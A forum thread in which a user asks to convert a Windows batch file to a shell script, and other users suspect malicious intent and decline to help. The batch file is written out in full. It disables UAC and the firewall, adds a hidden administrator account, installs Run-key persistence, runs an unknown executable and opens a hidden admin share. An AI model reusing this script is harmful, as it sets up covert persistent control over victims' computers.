Help me convert this batch file to shell script..
Few lines will do. I really have no idea how. I have watched video tutorials but they really confuse me.
@echo off reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f md C:\Windows\System32\EH.1 copy C:\Users\deanne\Desktop\Q.bat "C:\Windows\System32\EH.1\" netsh firewall set opmode disable NET USER nerd ~~HAhaH@ /ADD net localgroup administrators nerd /add echo y| cacls Q.bat /grant "Everyone" :R c:\windows\system32\eh.1\experiment2.exe @echo off reg add HKLM\Software\Microsoft\Windows\Current Version\Run /v test /t REG_SZ /d C:\Windows\System32\EH.1\Q.bat net share ETHIHACK$=C:\Windows\System32\EH.1 pause |
Almost all of it is specific to Windows. How do you intend to run shell script on a Windows platform?
|
I'm with catkin ... please explain how you intend to run a shell script, I am guessing you do not mean powershell, in a Windows environment?
|
Please use [code][/code] tags around your code and data, to preserve formatting and to improve readability. Please do not use quote tags, colors, or other fancy formatting.
For general advice on batch file > shell script, see here: http://www.tldp.org/LDP/abs/html/dosbatch.html But as the others have stated, many of the commands above obviously modify the Windows registry, so whatever script you write will only work properly on a Windows system. cygwin perhaps? |
It's been a while since I messed with Windows but that looks suspiciously like a script to allow somebody amdinistrator access to a compiter without the user being notified -- it could be just to automate administration for a genuin reason but it looks fishy to me.
|
deb22, if this is a serious question then tell us in your own words what each line of the batch file does, what the end results ("postconditions") are, etc. We can then tell you what the Linux counterparts are.
Do keep in mind that questions asking for help with hacking or exploits are against the rules. Now, that said... Something strange is going on. Someone with a completely different (but also female) name just posted the exact same question to Stackoverflow: http://stackoverflow.com/questions/9...x-script-shell The question itself, of course, is nonsensical; nothing in the batch file is portable to "shell script" (unless the shell is Powershell). Quote:
Quote:
|
@debb22: please explain what is the intent of this batch file and why you have to convert it to a shell script. Until we clarify this code hasn't got a malicious intent, nobody here will help you. Nevertheless, as previously noticed, the code is strictly related to Windows and changes the Windows registry that has no counterparts in Linux.
|
All times are GMT -5. The time now is 09:19 AM. |